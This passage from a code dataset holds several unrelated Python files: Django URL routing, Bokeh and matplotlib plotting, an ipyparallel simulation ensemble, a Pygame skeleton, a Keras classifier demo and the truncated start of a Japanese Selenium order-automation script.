73, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 76, "usage_type": "call"}]} +{"seq_id": "595934811", "text": "from django.conf.urls import url\nfrom .views import ArticleDetailAndCreateCommentView, ArticleCreateView, ArticleListView, ArticleUpdateView, ArticleDeleteView, OwnersArticleListView\nfrom .views import delete_comment\n\n\nurlpatterns = [\n url(r'^$', ArticleListView.as_view(), name='list'),\n url(r'^owner/(?P\\d+)/$', OwnersArticleListView.as_view(), name='owners_articles'),\n url(r'^(?P\\d+)/$', ArticleDetailAndCreateCommentView.as_view(), name='detail'),\n url(r'^new/$', ArticleCreateView.as_view(), name='create'),\n url(r'^(?P\\d+)/edit/$', ArticleUpdateView.as_view(), name='update'),\n url(r'^(?P\\d+)/delete/$', ArticleDeleteView.as_view(), name='delete'),\n url(r'^(?P\\d+)/comment_delete/$', delete_comment, name='comment_delete'),\n url(r'^select_template/$',\n 'articles.views.select_template', name='select_template'),\n]\n", "sub_path": "articles/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 886, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "views.ArticleListView.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "views.ArticleListView", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "views.OwnersArticleListView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "views.OwnersArticleListView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "views.ArticleDetailAndCreateCommentView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "views.ArticleDetailAndCreateCommentView", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "views.ArticleCreateView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "views.ArticleCreateView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "views.ArticleUpdateView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.ArticleUpdateView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "views.ArticleDeleteView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "views.ArticleDeleteView", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "views.delete_comment", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "256571916", "text": "from __future__ import print_function\n\nimport numpy as np\n\nfrom bokeh.browserlib import view\nfrom bokeh.document import Document\nfrom bokeh.models.glyphs import *\nfrom bokeh.models import (\n Plot, Range1d, LinearAxis, Grid, ColumnDataSource, PanTool, WheelZoomTool\n)\nfrom bokeh.session import Session\n\ndocument = Document()\nsession = Session()\nsession.use_doc('prim_server')\nsession.load_document(document)\n\nx = np.arange(1,6)\ny = np.arange(5, 0, -1)\n\nsource = ColumnDataSource(data=dict(x=x,y=y))\n\nxdr = Range1d(start=0, end=10)\nydr = Range1d(start=0, end=10)\n\ndef make_plot(name, glyph):\n plot = Plot(x_range=xdr, y_range=ydr, min_border=80)\n\n plot.add_glyph(source, glyph)\n\n xaxis = LinearAxis()\n plot.add_layout(xaxis, 'below')\n\n yaxis = LinearAxis()\n plot.add_layout(yaxis, 'left')\n\n plot.add_layout(Grid(dimension=0, ticker=xaxis.ticker))\n plot.add_layout(Grid(dimension=1, ticker=yaxis.ticker))\n\n plot.add_tools(PanTool(), WheelZoomTool())\n\n document.add(plot)\n session.store_document(document)\n\nmake_plot('annular_wedge', AnnularWedge(x=\"x\", y=\"y\", inner_radius=0.2, outer_radius=0.5, start_angle=0.8, end_angle=3.8))\nmake_plot('annulus', Annulus(x=\"x\", y=\"y\", inner_radius=0.2, outer_radius=0.5))\nmake_plot('arc', Arc(x=\"x\", y=\"y\", radius=0.4, start_angle=0.8, end_angle=3.8))\nmake_plot('circle', Circle(x=\"x\", y=\"y\", radius=1))\nmake_plot('oval', Oval(x=\"x\", y=\"y\", width=0.5, height=0.8, angle=-0.6))\nmake_plot('ray', Ray(x=\"x\", y=\"y\", length=25, angle=0.6))\nmake_plot('rect', Rect(x=\"x\", y=\"y\", width=0.5, height=0.8, angle=-0.6))\nmake_plot('text', Text(x=\"x\", y=\"y\", text={\"value\":\"foo\"}, angle=0.6))\nmake_plot('wedge', Wedge(x=\"x\", y=\"y\", radius=0.5, start_angle=0.9, end_angle=3.2))\n\nlink = session.object_link(document.context)\nprint(\"please visit %s to see plots\" % link)\nview(link)\n", "sub_path": "examples/glyphs/prim_server.py", "file_name": "prim_server.py", "file_ext": "py", "file_size_in_byte": 1835, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "bokeh.document.Document", "line_number": 13, "usage_type": "call"}, {"api_name": "bokeh.session.Session", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "bokeh.models.ColumnDataSource", "line_number": 21, "usage_type": "call"}, {"api_name": "bokeh.models.Range1d", "line_number": 23, "usage_type": "call"}, {"api_name": "bokeh.models.Range1d", "line_number": 24, "usage_type": "call"}, {"api_name": "bokeh.models.Plot", "line_number": 27, "usage_type": "call"}, {"api_name": "bokeh.models.LinearAxis", "line_number": 31, "usage_type": "call"}, {"api_name": "bokeh.models.LinearAxis", "line_number": 34, "usage_type": "call"}, {"api_name": "bokeh.models.Grid", "line_number": 37, "usage_type": "call"}, {"api_name": "bokeh.models.Grid", "line_number": 38, "usage_type": "call"}, {"api_name": "bokeh.models.PanTool", "line_number": 40, "usage_type": "call"}, {"api_name": "bokeh.models.WheelZoomTool", "line_number": 40, "usage_type": "call"}, {"api_name": "bokeh.browserlib.view", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "174329141", "text": "from __future__ import print_function\n\nfrom ipyparallel import Client\nfrom EXOSIMS.Prototypes.SurveyEnsemble import SurveyEnsemble \nfrom EXOSIMS.util.get_module import get_module\nimport time\nfrom IPython.core.display import clear_output\nimport sys\nimport json\nimport os\nimport numpy as np\nimport EXOSIMS\nimport EXOSIMS.MissionSim\nimport os\nimport os.path\nimport cPickle\nimport random\nimport traceback\n\n\nclass IPClusterEnsemble(SurveyEnsemble):\n \"\"\"Parallelized suvey ensemble based on IPython parallel (ipcluster)\n \n \"\"\"\n\n def __init__(self, **specs):\n \n SurveyEnsemble.__init__(self, **specs)\n\n self.verb = specs.get('verbose', True)\n \n # access the cluster\n self.rc = Client()\n self.dview = self.rc[:]\n self.dview.block = True\n with self.dview.sync_imports(): import EXOSIMS, EXOSIMS.util.get_module, \\\n os, os.path, time, random, cPickle, traceback\n if specs.has_key('logger'):\n specs.pop('logger')\n if specs.has_key('seed'):\n specs.pop('seed')\n self.dview.push(dict(specs=specs))\n res = self.dview.execute(\"SS = EXOSIMS.util.get_module.get_module(specs['modules'] \\\n ['SurveySimulation'], 'SurveySimulation')(**specs)\")\n\n res2 = self.dview.execute(\"SS.reset_sim()\")\n\n self.vprint(\"Created SurveySimulation objects on %d engines.\"%len(self.rc.ids))\n #for row in res.stdout:\n # self.vprint(row)\n\n self.lview = self.rc.load_balanced_view()\n\n self.maxNumEngines = len(self.rc.ids)\n\n def run_ensemble(self, sim, nb_run_sim, run_one=None, genNewPlanets=True,\n rewindPlanets=True, kwargs={}):\n \"\"\"\n Args:\n sim:\n\n \"\"\"\n\n t1 = time.time()\n async_res = []\n for j in range(nb_run_sim):\n ar = self.lview.apply_async(run_one, genNewPlanets=genNewPlanets,\n rewindPlanets=rewindPlanets, **kwargs)\n async_res.append(ar)\n \n print(\"Submitted %d tasks.\"%len(async_res))\n \n runStartTime = time.time()#create job starting time\n avg_time_per_run = 0.\n tmplenoutstandingset = nb_run_sim\n tLastRunFinished = time.time()\n ar= self.rc._asyncresult_from_jobs(async_res)\n while not ar.ready():\n ar.wait(10.)\n clear_output(wait=True)\n if ar.progress > 0:\n timeleft = ar.elapsed/ar.progress * (nb_run_sim - ar.progress)\n if timeleft > 3600.:\n timeleftstr = \"%2.2f hours\"%(timeleft/3600.)\n elif timeleft > 60.:\n timeleftstr = \"%2.2f minutes\"%(timeleft/60.)\n else:\n timeleftstr = \"%2.2f seconds\"%timeleft\n else:\n timeleftstr = \"who knows\"\n\n #Terminate hanging runs\n outstandingset = self.rc.outstanding#a set of msg_ids that have been submitted but resunts have not been received\n if len(outstandingset) > 0 and len(outstandingset) < nb_run_sim:#there is at least 1 run still going and we have not just started\n avg_time_per_run = (time.time() - runStartTime)/float(nb_run_sim - len(outstandingset))#compute average amount of time per run\n if len(outstandingset) < tmplenoutstandingset:#The scheduler has finished a run\n tmplenoutstandingset = len(outstandingset)#update this. should decrease by ~1 or number of cores...\n tLastRunFinished = time.time()#update tLastRunFinished to the last time a simulation finished (right now)\n #self.vprint(\"tmplenoutstandingset %d, tLastRunFinished %0.6f\"%(tmplenoutstandingset,tLastRunFinished))\n if time.time() - tLastRunFinished > avg_time_per_run*(1 + self.maxNumEngines*2):\n self.vprint('Aborting ' + str(len(self.rc.outstanding)) + 'qty outstandingset jobs')\n self.rc.abort()#by default should abort all outstanding jobs... #it is possible that this will not stop the jobs running\n\n print(\"%4i/%i tasks finished after %4i s. About %s to go.\" % (ar.progress, nb_run_sim, ar.elapsed, timeleftstr), end=\"\")\n sys.stdout.flush()\n\n t2 = time.time()\n print(\"\\nCompleted in %d sec\" % (t2 - t1))\n \n res = [ar.get() for ar in async_res]\n \n return res\n", "sub_path": "EXOSIMS/SurveyEnsemble/IPClusterEnsemble.py", "file_name": "IPClusterEnsemble.py", "file_ext": "py", "file_size_in_byte": 4434, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "EXOSIMS.Prototypes.SurveyEnsemble.SurveyEnsemble", "line_number": 21, "usage_type": "name"}, {"api_name": "EXOSIMS.Prototypes.SurveyEnsemble.SurveyEnsemble.__init__", "line_number": 28, "usage_type": "call"}, {"api_name": "EXOSIMS.Prototypes.SurveyEnsemble.SurveyEnsemble", "line_number": 28, "usage_type": "name"}, {"api_name": "ipyparallel.Client", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "time.time", "line_number": 76, "usage_type": "call"}, {"api_name": "IPython.core.display.clear_output", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 95, "usage_type": "call"}, {"api_name": "time.time", "line_number": 98, "usage_type": "call"}, {"api_name": "time.time", "line_number": 100, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 105, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 107, "usage_type": "call"}]} +{"seq_id": "84137019", "text": "\n#coding:utf-8\nimport requests\nimport json\n\ndict_create_dealer={\n \"head\": {\n \"version\": \"0.01\",\n \"msgtype\": \"request\",\n \"interface\": \"get_will_d4\",\n \"remark\": \"\"\n },\n \"params\": {\n \"system\": \"HJXMBA\",\n \"dealerid\": \"200283093\"\n }\n}\n\n\n#print(dict_create_dealer)\nstrDictDealer=json.dumps(dict_create_dealer,ensure_ascii=False)\nprint('post json是{0}'.format(strDictDealer))\n#print(data)\n\nmyheaders = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, compress',\n 'Accept-Language': 'en-us;q=0.5,en;q=0.3',\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}\nr=requests.post('http://10.0.10.182:8000/channel_org_interface',strDictDealer.encode('utf-8'))\nprint('返回结果:{0}'.format(r.content.decode('utf-8')))\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "other/getDealerCanRelateD.py", "file_name": "getDealerCanRelateD.py", "file_ext": "py", "file_size_in_byte": 961, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.dumps", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "311860482", "text": "import pygame as pg\nimport numpy as np\n\n# Define Classes**************************************************************************************************************************\nclass Object:\n\n def __init__(self, image, x, y):\n self.image = pg.image.load(image)\n self.x = x\n self.y = y\n\n def move(self, x, y):\n self.x += x\n self.y += y\n\n def draw(self):\n gameDisplay.blit(self.image, (self.x, self.y))\n\nclass Spritesheet:\n def __init__(self, filename):\n try:\n self.sheet = pg.image.load(filename).convert()\n\n except pg.error as e:\n print(f\"Unable to load sprite sheet image: {filename}\")\n raise SystemExit(e)\n\n def image_at(self, rectangle, colorkey = None):\n rect = pg.Rect(rectangle)\n image = pg.Surface(rect.size).convert()\n image.blit(self.sheet, (0,0), rect)\n if colorkey == None:\n if colorkey == -1:\n color = image.get_at((0,0))\n image.set_colorkey(colorkey, pg.RLEACCEL)\n return image\n\n def images_at(self, rects, colorkey = None):\n return [self.image_at(rect,colorkey) for rect in rangerects]\n\n def load_strip(self, rect, image_count, colorkey = None):\n tups = [(rect[0]+rect[2]*x, rect[1], rect[3])\n for x in range(image_count)]\n return self.image_at(tups, colorkey)\n\nclass Tile:\n\n def __init__(self, type, image, x, y, z, width, height):\n self.type = type\n self.image = image\n self.x = x\n self.y = y\n self.z = z\n self.width = width\n self.height = height\n\nclass Terrain:\n\n def __init__(self, spritesheet, tile_width, tile_height, world_width, world_height):\n self.spritesheet = spritesheet\n self.tile_width = tile_width\n self.tile_height = tile_height\n self.world_width = world_width\n self.world_height = world_height\n self.z_offset = tile_height / 2\n\n def draw():\n for x in self.width:\n for y in self.height:\n # tile.\n return 0\n\n\ndef generate_tiles(terrain):\n for x in range(terrain.world_width):\n for y in range(terrain.world_height):\n tiles[x][y] = 0\n\n# define global variables**********************************************************************************************************\ndisplay_width = 800\ndisplay_height = 600\n\nplayer_movex = 0\nplayer_movey = 0\n\ntiles[0][0] = None\n\nblack = (0,0,0)\nwhite = (255,255,255)\nred = (255,0,0)\n\nend = False\n\n# create instances***********************************************************************************************************\npg.init()\ngameDisplay = pg.display.set_mode((display_width,display_height))\npg.display.set_caption('Manhunt')\nclock = pg.time.Clock()\n\n# create objects****************************************************************************************************************\nman = Object('man.png', display_width / 2, display_height / 2)\nterrain = Terrain(Spritesheet(\"tilesheet.png\"), 64, 64, 10, 10)\n\n# mainloop***********************************************************************************************************************\nwhile not end:\n\n # event handler*********************************************************************************************************\n for event in pg.event.get():\n if event.type == pg.QUIT:\n end = True\n\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_LEFT:\n player_movex = -1\n elif event.key == pg.K_RIGHT:\n player_movex = 1\n\n if event.key == pg.K_UP:\n player_movey = -1\n elif event.key == pg.K_DOWN:\n player_movey = 1\n\n if event.type == pg.KEYUP:\n if event.key == pg.K_UP or pg.K_DOWN:\n player_movey = 0\n if event.key == pg.K_LEFT or pg.K_RIGHT:\n player_movex = 0\n\n # update game*****************************************************************************************************************\n gameDisplay.fill(white)\n man.move(player_movex,player_movey)\n generate_tiles(terrain)\n man.draw()\n pg.display.update()\n clock.tick(60)\n\npg.quit()\nquit()\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4265, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.error", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.RLEACCEL", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 95, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 96, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 97, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 98, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 108, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 124, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 134, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 134, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 137, "usage_type": "call"}]} +{"seq_id": "279016529", "text": "import os, sys, pdb\nimport pandas as pd, numpy as np\nfrom matplotlib.colors import Normalize, rgb2hex, LogNorm\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom scipy.stats import pearsonr\nfrom sklearn.metrics import r2_score\n\n\ndef score_avg_mos_corr():\n data = pd.read_csv('./results/Capitals/Capitals_gru_hi_predictions.csv')\n data2 = pd.read_csv('./results/Capitals/capitals_combined_scores.csv')\n data2 = data2.rename(columns={'Unnamed: 0':'State'})\n data = data[data.Location.str.contains('45')]\n\n scores, avgs = list(), list()\n for state in np.unique(data.Location):\n try:\n scores.append(data2[data2.State==state].Score.iloc[0])\n avgs.append(np.mean(data[data.Location==state].MoLS))\n except:\n pass\n avgs = np.asarray(avgs)\n scores = np.asarray(scores)\n\n avg_norm = LogNorm(vmin=avgs.min(), vmax=avgs.max())\n score_norm = LogNorm(vmin=scores.min(), vmax=scores.max())\n\n avgs = avg_norm(avgs)\n scores=score_norm(scores)\n \n corr, _ = pearsonr(avgs, scores)\n r2 = r2_score(avgs, scores)\n print('Pearson correlation: {}'.format(corr))\n print('R^2: {}'.format(r2))\n\n\ndef samples_corr():\n capitals = pd.read_pickle('./data/capitals.pd')\n capitals = capitals[~capitals.Location.str.contains('85')]\n capitals = capitals[~capitals.Location.str.contains('California')]\n capitals = capitals[~capitals.Location.str.contains('Arizona')]\n capitals = capitals[~capitals.Location.str.contains('Texas')]\n capitals = capitals[~capitals.Location.str.contains('Wisconsin')]\n capitals = capitals[~capitals.Location.str.contains('Minnesota')]\n capitals = capitals[~capitals.Location.str.contains('North Carolina')]\n capitals = capitals[~capitals.Location.str.contains('Delaware')]\n capitals = capitals[~capitals.Location.str.contains('New Jersey')]\n capitals = capitals[capitals.Year==2016].reset_index(drop=True)\n capitals['Avg_Temp'] = capitals[['Max_Temp','Min_Temp']].mean(axis=1)\n \n train = pd.read_pickle('./data/train_data.pd')\n train = train[train.Year==2016].reset_index(drop=True)\n train['Avg_Temp'] = train[['Max_Temp','Min_Temp']].mean(axis=1)\n \n test = pd.read_pickle('./data/test_data.pd')\n test = test[test.Year==2016].reset_index(drop=True)\n test['Avg_Temp'] = test[['Max_Temp','Min_Temp']].mean(axis=1)\n \n capitals_group = capitals[['Location','Avg_Temp','Precip','MoLS']].groupby(['Location'])\n train_group = train[['Location','Avg_Temp','Precip','MoLS']].groupby(['Location'])\n test_group = test[['Location','Avg_Temp','Precip','MoLS']].groupby(['Location'])\n\n fig, axs = plt.subplots(1,3)\n names = ['Avg_Temp', 'Precip', 'MoLS']\n name_dic = {'Avg_Temp':'Average Temperature', 'Precip':'Precipitation', 'MoLS':'MoLS'}\n for i in range(0,3):\n corr_data = pd.DataFrame()\n for group in train_group:\n corr_data[group[0]] = group[1][names[i]].copy().reset_index(drop=True)\n\n for group in test_group:\n corr_data[group[0]] = group[1][names[i]].copy().reset_index(drop=True)\n\n for group in capitals_group:\n corr_data[group[0]] = group[1][names[i]].copy().reset_index(drop=True)\n\n corr_data = corr_data.astype('float').corr()\n corr_data = corr_data.iloc[0:len(train_group),len(train_group):]\n im = axs[i].imshow(corr_data,cmap='Greys_r', vmin=-0.2, vmax=1)\n axs[i].axvline(x=len(test_group)-0.5, color='tab:blue', linestyle='-', linewidth=2)\n axs[i].set_xticks(ticks=np.arange(corr_data.shape[1]))\n axs[i].set_xticklabels(labels=(['']*corr_data.shape[1]))\n axs[i].set_yticks(ticks=np.arange(corr_data.shape[0]))\n axs[i].set_yticklabels(labels=(['']*corr_data.shape[0]))\n axs[i].set_title(name_dic[names[i]])\n axs[i].set_ylabel('Training')\n axs[i].text(6,len(train_group)+6,'Testing')\n axs[i].text(len(test_group)+6,len(train_group)+6,'Capital Cities')\n plt.colorbar(im, ax=axs.ravel().tolist(), shrink=0.8, pad=0.02)\n plt.show() \n\n\nif __name__ == '__main__':\n font={'size':16}\n mpl.rc('font',**font)\n\n samples_corr()\n score_avg_mos_corr()\n \n\n", "sub_path": "figures/fig_12_input_correlations.py", "file_name": "fig_12_input_correlations.py", "file_ext": "py", "file_size_in_byte": 4198, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.colors.LogNorm", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.rc", "line_number": 96, "usage_type": "call"}]} +{"seq_id": "149462135", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.optimizers import Adam\nfrom keras.utils.np_utils import to_categorical\n\nn_pts = 500\ncenters = [[-1, 1], [-1, -1], [1, -1], [1, 1], [0, 0]]\nX, y = datasets.make_blobs(n_samples=n_pts, random_state=123, centers=centers, cluster_std=0.4)\n\n# plt.scatter(X[y==0, 0], X[y==0, 1])\n# plt.scatter(X[y==1, 0], X[y==1, 1])\n# plt.scatter(X[y==2, 0], X[y==2, 1])\n# plt.scatter(X[y==3, 0], X[y==3, 1])\n# plt.scatter(X[y==4, 0], X[y==4, 1])\n# plt.show()\n\ny_cat = to_categorical(y, 5)\nmodel = Sequential()\nmodel.add(Dense(units=5, input_shape=(2,), activation='softmax'))\nmodel.compile(Adam(0.1), loss='categorical_crossentropy', metrics=['accuracy'])\nmodel.fit(x=X, y=y_cat, verbose=1, batch_size=50, epochs=100)\n\ndef plotDecisionBoundary(X, y_cat, model):\n xSpan = np.linspace(min(X[:, 0]) - 1, max(X[:, 0]) + 1, 50)\n ySpan = np.linspace(min(X[:, 1]) - 1, max(X[:, 1]) + 1, 50)\n xx, yy = np.meshgrid(xSpan, ySpan)\n xx_, yy_ = xx.ravel(), yy.ravel()\n grid = np.c_[xx_, yy_]\n predFunc = np.argmax(model.predict(grid), axis =-1 )\n z = predFunc.reshape(xx.shape)\n plt.contourf(xx, yy, z)\n\nplotDecisionBoundary(X, y_cat, model)\n\nplt.scatter(X[y==0, 0], X[y==0, 1])\nplt.scatter(X[y==1, 0], X[y==1, 1])\nplt.scatter(X[y==2, 0], X[y==2, 1])\nplt.scatter(X[y==3, 0], X[y==3, 1])\nplt.scatter(X[y==4, 0], X[y==4, 1])\nx = 0.5\ny = 0.5\npoint = np.array([[x, y]])\nprediction = np.argmax(model.predict(point), axis =-1 )\nplt.plot([x], [y], marker='o', markersize=10, color='red')\nprint(\"Prediction is\", prediction)\nplt.show()", "sub_path": "Multiclass.py", "file_name": "Multiclass.py", "file_ext": "py", "file_size_in_byte": 1708, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sklearn.datasets.make_blobs", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 11, "usage_type": "name"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]} +{"seq_id": "352229087", "text": "\"\"\"\n\n発注専用ウェブサイトの自動入力システム\n\n基幹システムから注文拠点ごとにデータを修正してエクセルへ貼付。\n注文システム起動。\n住所を確認してエンター完了。\n\n注文完了後Gsuite,GMailメールアドレスへ注文確認メールが届くので\n深夜、注文当日のGoogleAppsScriptでスプレッドシートへ注文内容をまとめて\nエクセルへ出力したのち指定のフォルダへ移動後に担当者へメールで処理後に報告。\n\n\"\"\"\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select # 選択画面\nfrom bs4 import BeautifulSoup\nimport pandas as pd \nimport csv\nimport time\nimport jaconv # 半角ｶﾅ文字対応\nimport pyodbc # DB\n\n# ChromeDriver\nchromedriverPath = \"chromedriver.exe\"\n\n# ログイン\nlogin_page_url = \"https://*****.bcart.jp/login.php\"\nlogin_id = \"****\"\nlogin_pass = \"****\"\n\n# 基本データ\nExcelFile = \"tmp_SmileBS_修正登録ファイル.xls\" # 基幹システムからエクスポートしたデータを入れる。\nCsvFileName = 'tmp_Web_登録用データ.csv' # 登録用の一時ファイルCSVを作成する。\n\n# 商品コードに該当商品の注文用URLを入れる。\nSyoHinCode = 